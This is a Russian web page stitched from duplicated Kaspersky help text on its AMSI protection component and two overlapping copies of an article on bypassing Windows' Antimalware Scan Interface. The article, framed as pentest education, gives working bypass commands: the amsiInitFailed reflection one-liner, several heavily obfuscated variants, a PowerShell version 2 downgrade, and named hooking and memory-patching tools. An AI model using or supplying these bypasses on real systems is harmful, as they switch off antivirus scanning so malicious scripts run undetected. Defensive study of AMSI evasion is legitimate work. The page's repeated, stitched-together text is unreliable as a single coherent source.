Amsi защита что это
Компонент AMSI-защита предназначен для поддержки интерфейса Antimalware Scan Interface от Microsoft. Интерфейс Antimalware Scan Interface (AMSI) позволяет сторонним приложениям с поддержкой AMSI отправлять объекты (например, скрипты PowerShell) в Kaspersky Endpoint Security для дополнительной проверки и получать результаты проверки этих объектов. Сторонними приложениями могут быть, например, приложения Microsoft Office (см. рис. ниже). Подробнее об интерфейсе AMSI см. в документации Microsoft.
AMSI-защита может только обнаруживать угрозу и уведомлять стороннее приложение об обнаруженной угрозе. Стороннее приложение после получения уведомления об угрозе не дает выполнить вредоносные действия (например, завершает работу).
Пример работы AMSI
Компонент AMSI-защита может отклонить запрос от стороннего приложения, например, если это приложение превысило максимальное количество запросов за промежуток времени. Kaspersky Endpoint Security отправляет информацию об отклонении запроса от стороннего приложения на Сервер администрирования. Компонент AMSI-защита не отклоняет запросы от тех сторонних приложений, для которых включена функция постоянного взаимодействия с компонентом AMSI-защита.
AMSI-защита доступна для следующих операционных систем рабочих станций и серверов:
- Windows 10 Home / Pro / Pro для рабочих станций / Education / Enterprise;
- Windows 11 Home / Pro / Pro для рабочих станций / Education / Enterprise;
- Windows Server 2016 Essentials / Standard / Datacenter;
- Windows Server 2019 Essentials / Standard / Datacenter;
- Windows Server 2022. Параметры компонента AMSI-защита
Параметр Описание Проверять архивы Проверка архивов ZIP, GZIP, BZIP, RAR, TAR, ARJ, CAB, LHA, JAR, ICE и других архивов. Приложение проверяет архивы не только по расширению, но и по формату. При проверке архивов приложение выполняет рекурсивную распаковку. Это позволяет обнаруживать угрозы внутри многоуровневых архивов (архив внутри архива). Проверять дистрибутивы Флажок включает / выключает проверку дистрибутивов сторонних приложений. Проверять файлы офисных форматов Проверка файлов Microsoft Office (DOC, DOCX, XLS, PPT и других). К файлам офисных форматов также относятся OLE-объекты. Не распаковывать составные файлы большого размера Если флажок установлен, то приложение не проверяет составные файлы, размеры которых больше заданного значения. Если флажок снят, приложение проверяет составные файлы любого размера. Приложение проверяет файлы больших размеров, извлеченные из архивов, независимо от состояния флажка.
См. также об управлении программой через локальный интерфейс
Amsi защита что это
Компонент AMSI-защита предназначен для поддержки интерфейса Antimalware Scan Interface от Microsoft. Интерфейс Antimalware Scan Interface (AMSI) позволяет сторонним приложениям с поддержкой AMSI отправлять объекты (например, скрипты PowerShell) в Kaspersky Endpoint Security для дополнительной проверки и получать результаты проверки этих объектов. Сторонними приложениями могут быть, например, программы Microsoft Office (см. рис. ниже). Подробнее об интерфейсе AMSI см. в документации Microsoft.
AMSI-защита может только обнаруживать угрозу и уведомлять стороннее приложение об обнаруженной угрозе. Стороннее приложение после получения уведомления об угрозе не дает выполнить вредоносные действия (например, завершает работу).
Пример работы AMSI
Компонент AMSI-защита может отклонить запрос от стороннего приложения, например, если это приложение превысило максимальное количество запросов за промежуток времени. Kaspersky Endpoint Security отправляет информацию об отклонении запроса от стороннего приложения на Сервер администрирования. Компонент AMSI-защита не отклоняет запросы от тех сторонних приложений, для которых установлен флажок Не блокировать взаимодействие с AMSI-защитой .
AMSI-защита доступна для следующих операционных систем рабочих станций и серверов:
- Windows 10 Home / Pro / Education / Enterprise;
- Windows Server 2016 Essentials / Standard / Datacenter;
- Windows Server 2019 Essentials / Standard / Datacenter.
F#ck AMSI! Как обходят Anti-Malware Scan Interface при заражении Windows
Если тебе знакома фраза «Этот сценарий содержит вредоносное содержимое и был заблокирован антивирусным программным обеспечением», то сегодняшняя статья — для тебя. Такое сообщение генерирует встроенный в Windows 10 механизм AMSI, блокирующий выполнение вредоносных сценариев и скриптов. Можно ли его обойти? Запросто, и сейчас я расскажу, как это сделать.
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Аббревиатура AMSI расшифровывается как Anti-Malware Scan Interface. Эту технологию Microsoft разработала в качестве метода защиты пользователей от вредоносных программ и впервые внедрила в Windows 10. AMSI в реальном времени перехватывает скрипты и команды PowerShell, JavaScript, VBScript, VBA или .NET и отсылает на проверку антивирусному программному обеспечению (это необязательно Defender, более десяти вендоров поддерживают AMSI). Но в наших примерах мы рассмотрим все же Defender.
Как это работает
Когда пользователь запускает скрипт или инициализирует процесс PowerShell (либо PowerShell_ISE), в процесс автоматически загружается библиотека AMSI. DLL . Она‑то и предоставляет необходимый API для взаимодействия с антивирусным ПО. Прежде чем выполниться, скрипт или команда при помощи удаленного вызова процедур (RPC) отправляется Microsoft Defender, он, в свою очередь, анализирует полученную информацию и отсылает ответ обратно AMSI. DLL . Если обнаружена известная сигнатура, выполнение прерывается и появляется сообщение о том, что скрипт заблокирован антивирусной программой.
На приведенной выше схеме обозначены две функции — AmsiScanString( ) и AmsiScanBuffer( ) , они, по сути, главные в цепочке AmsiInitialize , AmsiOpenSession , AmsiScanString , AmsiScanBuffer и AmsiCloseSession . Если глянуть Exports для amsi. dll , то мы увидим следующее.
Однако значительная часть этого списка нам сегодня не пригодится.
Итак, мы запустили PowerShell. До того как мы сможем вводить какие‑либо команды, будет загружена AMSI.DLL и произойдет вызов AmsiInitialize( ) .
HRESULT AmsiInitialize (
LPCWSTR appName ,
HAMSICONTEXT * amsiContext
Тут используются два аргумента: имя приложения и указатель на структуру CONTEXT . Параметр amsiContext будет использоваться в каждом последующем вызове AMSI API.
После того как мы ввели команду или попытались выполнить скрипт, происходит вызов AmsiOpenSession ():
HRESULT AmsiOpenSession (
HAMSICONTEXT amsiContext ,
HAMSISESSION * amsiSession
Тут тоже передаются два аргумента: amsiContext , полученный на шаге AmsiInitialize( ) , и указатель на структуру SESSION . Параметр amsiSession будет использоваться в каждом последующем вызове AMSI API внутри этой сессии.
Далее в дело вступают те самые AmsiScanString( ) и AmsiScanBuffer( ) . По названию, в принципе, понятно, какие параметры они передают для проверки, да и синтаксис у них почти одинаков.
Как хакеры обходят проверку AMSI защиты
В последней статье посвященной антивирусам, я рассказал как обойти антивирус с помощью Chimera. В этой статье я покажу, как хакеры обходят проверку AMSI защиты.
Если вы пользователь Windows, тогда вам знакомо сообщение «Данный сценарий содержит вредоносное содержимое и был заблокирован антивирусом» Это блокирующий механизма защиты Windows. Давайте разберемся, как его обходят хакеры.
Статья в образовательных и исследовательских целях и предназначена для пентестеров (белых хакеров). Обход антивирусов и распространение вредоносных программ без письменного разрешения на проведение пентеста, является серьезным преступлением.
AMSI (Anti-Malware Scan Interface) — это технология Microsoft, которую разработали для защиты компьютера от вирусов и другой малвари. Впервые была внедрена в Windows 10. AMSI умеет в реальном времени перехватывать и анализировать скрипты JavaScript, VBScript, VBA и команды PowerShell.
Как это работает AMSI
При запуске скрипта или инициализации процесса PowerShell (или PowerShell_ISE), в процесс автоматически загружается библиотека AMSI.DLL. Она предоставляет нужный API для взаимодействия с антивирусом. Перед выполнением скрипта или команды с помощью RPC подключается Microsoft Defender, он, в свою очередь, изучает полученные данные и отсылает ответ обратно AMSI.DLL. Если была обнаружена известная вредоносная сигнатура, выполнение останавливается и появляется сообщение о блокировке антивирусом.
На схеме выше обозначены две функции — AmsiScanString ( ) и AmsiScanBuffer ( ) , они, в целом, главные в цепочке AmsiInitialize , AmsiOpenSession , AmsiScanString , AmsiScanBuffer и AmsiCloseSession . Если посмотреть Exports для amsi.dll, то можно увидеть это:
Но большая часть данного списка нам сегодня не понадобиться.
Итак, после запуска PowerShell. До того как ввести какие‑нибудь команды, будет загружена AMSI.DLL и произойдет вызов AmsiInitialize ( ) .
HRESULT AmsiInitialize (
LPCWSTR appName ,
HAMSICONTEXT * amsiContext
Здесь используются 2 аргумента: имя приложения и указатель на структуру CONTEXT. Параметр amsiContext будет использоваться в каждом последующем вызове AMSI API.
После ввода команды и попытки выполнить скрипт, происходит вызов AmsiOpenSession ( ) :
HRESULT AmsiOpenSession (
HAMSICONTEXT amsiContext ,
HAMSISESSION * amsiSession
В этот момент передаются 2 аргумента: amsiContext , полученный на шаге AmsiInitialize ( ) , и указатель на структуру SESSION. Параметр amsiSession будет использоваться в каждом последующем вызове AMSI API внутри данной сессии.
После чего в дело вступают AmsiScanString ( ) и AmsiScanBuffer ( ) . Вы можете понять по названию, какие именно параметры они передают.
HRESULT AmsiScanBuffer (
HAMSICONTEXT amsiContext ,
PVOID buffer ,
ULONG length ,
LPCWSTR contentName ,
HAMSISESSION amsiSession ,
AMSI_RESULT * result
HRESULT AmsiScanString (
HAMSICONTEXT amsiContext ,
LPCWSTR string ,
LPCWSTR contentName ,
HAMSISESSION amsiSession ,
AMSI_RESULT * result
Defender проверяет буфер или строку и возвращает результат. Если ответ от Defender — 32768, то вредонос обнаружен, единичка сигнализирует, что все чисто.
Ну и после всех выше перечисленных проверок текущая сессия закрывается с используя AmsiCloseSession .
Как обойти AMSI защиту
Механизм AMSI использует сигнатурное (rule-based) детектирование угроз. Зная этот факт, можно придумывать разные тактики и техники. Некоторые известные способы уже не сработают, но, используя модификацию кода, обфускацию и криптование, можно добиться интересных результатов.
Для верификации детекта я буду использовать строки AmsiUtils либо Invoke-Mimikatz. Разумеется, сами по себе эти слова безобидны, но на них срабатывает детект, так как они ловятся сигнатурами. Если уж на AmsiUtils нет детекта, то можно смело грузить, например, PowerView и использовать его возможности по максимуму.
PowerShell downgrade
Первый способ, который иногда срабатывает, тривиален. PowerShell 2.0 устарел, но Microsoft не спешит удалять его из операционной системы. У старой версии PowerShell нет таких защитных механизмов, как AMSI, поэтому для обхода детекта иногда достаточно использовать команду powershell — version 2 .
amsiInitFailed
Второй способ предотвратить сканирование — это попытаться выставить флаг amsiInitFailed для данного процесса. Делается это следующей командой:
[ Ref ] . Assembly . GetType ( ‘System.Management.Automation.AmsiUtils’ ) . GetField ( ‘amsiInitFailed’ , ‘NonPublic,Static’ ) . SetValue ( $ null , $ true )
Однако тут не все так просто: чтобы выполнить эту команду, придется потрудиться, придумывая способы обфускации PowerShell, так как на нее тоже срабатывает детект.
Например, обфусцировать эту команду можно так:
$ w = ‘System.Management.Automation.A’ ; $ c = ‘si’ ; $ m = ‘Utils’
$ assembly = [ Ref ] . Assembly . GetType ( ( ‘<0>m’ — f $ w , $ c , $ m ) )0>
$ field = $ assembly . GetField ( ( ‘am<0>InitFailed’ — f $ c ) , ‘NonPublic,Static’ )0>
$ field . SetValue ( $ null , $ true )
Во время обфускации можно проявить фантазию. Например, так:
[ Ref ] . Assembly . GetType ( ‘System.Management.Automation.’ + $ ( [ Text . Encoding ] : : Unicode . GetString ( [ Convert ] : : FromBase64String ( ‘QQBtAHMAaQBVAHQAaQBsAHMA’ ) ) ) ) . GetField ( $ ( [ Text . Encoding ] : : Unicode . GetString ( [ Convert ] : : FromBase64String ( ‘YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA==’ ) ) ) , ‘NonPublic,Static’ ) . SetValue ( $ null , $ true )
$ kurefii = «$([cHar]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).$((‘Mànägem’+’ent’).NORMALiZE([cHar](70+50-50)+[ChAr](111*34/34)+[cHAr](114*7/7)+[CHar](109*71/71)+[chaR]([BYtE]0x44)) -replace [cHaR]([BYte]0x5c)+[cHar]([Byte]0x70)+[chaR]([byTE]0x7b)+[chaR](77+22-22)+[cHAr]([BytE]0x6e)+[cHaR]([BYte]0x7d)).$([chAr](65+59-59)+[ChaR](104+13)+[CHAr]([bytE]0x74)+[chAR]([byte]0x6f)+[chAr](58+51)+[ChaR]([bYTe]0x61)+[CHar]([bYTe]0x74)+[cHAR](105)+[CHaR]([BYTE]0x6f)+[cHar]([ByTE]0x6e)).$([CHAR]([ByTE]0x41)+[char]([byTe]0x6d)+[CHAr]([bYtE]0x73)+[CHar]([byTe]0x69)+[chaR](85*6/6)+[CHaR](116)+[ChAR]([Byte]0x69)+[cHAr](108)+[chAr]([BYte]0x73))» ; [ Delegate ] : : CreateDelegate ( ( «Func«3[String, $(([String].Assembly.GetType($((‘$([cHar]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).Reflec’+’tíón.BìndìngF’+’lâgs’).NorMALiZe([ChAR]([Byte]0x46)+[cHar](111)+[ChAR](114)+[CHar]([BYtE]0x6d)+[ChaR]([ByTE]0x44)) -replace [cHaR](92*10/10)+[CHAr](112+100-100)+[ChAR]([BYTE]0x7b)+[ChAR](77)+[cHaR](110*20/20)+[cHAr]([bYTe]0x7d)))).FullName), $([cHar]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).Reflection.FieldInfo]» — as [ String ] . Assembly . GetType ( $ ( [ CHAR ] ( 83 ) + [ char ] ( 121 * 78 / 78 ) + [ ChAr ] ( [ ByTe ] 0x73 ) + [ CHar ] ( 22 + 94 ) + [ CHar ] ( 101 * 28 / 28 ) + [ char ] ( [ BYtE ] 0x6d ) + [ CHAr ] ( 46 ) + [ ChAr ] ( 84 ) + [ cHAr ] ( [ ByTE ] 0x79 ) + [ ChAr ] ( 90 + 22 ) + [ Char ] ( 101 + 30 — 30 ) ) ) ) , [ Object ] ( [ Ref ] . Assembly . GetType ( $ kurefii ) ) , ( $ ( ( ‘Ge’ + ‘tF’ + ‘íe’ + ‘ld’ ) . NOrMaliZE ( [ char ] ( [ ByTE ] 0x46 ) + [ cHAR ] ( 10 + 101 ) + [ CHaR ] ( 114 ) + [ cHAr ] ( 109 * 93 / 93 ) + [ CHAr ] ( [ BYTe ] 0x44 ) ) — replace [ cHaR ] ( 92 * 52 / 52 ) + [ CHar ] ( [ ByTE ] 0x70 ) + [ CHAr ] ( [ byTe ] 0x7b ) + [ Char ] ( 38 + 39 ) + [ cHaR ] ( 79 + 31 ) + [ cHar ] ( 125 * 18 / 18 ) ) ) ) . Invoke ( $ ( [ char ] ( 97 * 42 / 42 ) + [ cHar ] ( 109 * 37 / 37 ) + [ cHar ] ( [ bYte ] 0x73 ) + [ Char ] ( 105 + 88 — 88 ) + [ CHaR ] ( [ BYtE ] 0x49 ) + [ ChAR ] ( 110 ) + [ cHAR ] ( [ Byte ] 0x69 ) + [ CHaR ] ( 116 * 14 / 14 ) + [ cHar ] ( [ bYtE ] 0x46 ) + [ Char ] ( 97 ) + [ cHar ] ( [ bYTe ] 0x69 ) + [ CHAR ] ( [ ByTE ] 0x6c ) + [ CHaR ] ( 101 * 33 / 33 ) + [ char ] ( [ BYTE ] 0x64 ) ) , ( ( «NonPublic,Static» ) — as [ String ] . Assembly . GetType ( $ ( ( ‘$([cHar]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).Reflec’ + ‘tíón.BìndìngF’ + ‘lâgs’ ) . NorMALiZe ( [ ChAR ] ( [ Byte ] 0x46 ) + [ cHar ] ( 111 ) + [ ChAR ] ( 114 ) + [ CHar ] ( [ BYtE ] 0x6d ) + [ ChaR ] ( [ ByTE ] 0x44 ) ) — replace [ cHaR ] ( 92 * 10 / 10 ) + [ CHAr ] ( 112 + 100 — 100 ) + [ ChAR ] ( [ BYTE ] 0x7b ) + [ ChAR ] ( 77 ) + [ cHaR ] ( 110 * 20 / 20 ) + [ cHAr ] ( [ bYTe ] 0x7d ) ) ) ) ) . SetValue ( $ null , $ True ) ;
Будет полезно ознакомиться с ресурсом amsi.fail.
Хукинг
Function hooking — метод, позволяющий нам получить управление над функцией до ее вызова. В данном случае полезно будет перезаписать аргументы, которые функция AmsiScanBuffer ( ) (или AmsiScanString ( ) ) будет передавать на проверку.
Тут все просто: инжектим DLL, которая поймает AmsiScanBuffer ( ) и передаст на проверку что‑нибудь безобидное. Использовать можно, например, AmsiHook.dll, инжектор можно взять там же.
Патчинг памяти
Использующих данный метод инструментов много, можно выбрать любой рабочий. Принцип одинаков: пропатчить AmsiScanBuffer ( ) , чтобы всегда возвращалось значение «Проверка пройдена успешно». Вот несколько таких средств:
- AmsiScanBufferBypass;
- my-am-bypass.ps1;
- AMSI-Bypass.ps1;
- AMSI-Bypass.cs;
- NoAmci.
Для примера попробуем выполнить Memory Patching с помощью my — am — bypass . ps1 .
Вызов ошибки
Вспоминая описание принципа работы AMSI, можно заметить, что во всех функциях присутствует структура amsiContext . Идея способа — вызвать ошибку в этой структуре и сломать весь цикл проверки. Сложности добавляет тот факт, что Microsoft никак не документирует эту структуру, да и в целом мало и неохотно пишет документацию для AMSI.
Рассмотрим этот способ, используя Frida (чтобы найти адрес) и дебаггер (чтобы посмотреть, что там происходит).
Введем что‑нибудь и посмотрим на вывод «Фриды».
Теперь откроем процесс PowerShell в дебаггере и посмотрим, что же находится по этому адресу. Размера этой структуры мы не знаем, но первые 4 байта — это AMSI.
Исследуя происходящее дальше, замечаем, что регистр rcx (в котором должен лежать первый аргумент функции) сравнивается с нашими четырьмя байтами и, если эти значения не равны, выполняется переход на amsi ! AmsiOpenSession + 0x4c .
Мы видим, что функция вернет нам то, что лежит в регистре eax . А в документации указано, что возвращается значение с типом HRESULT .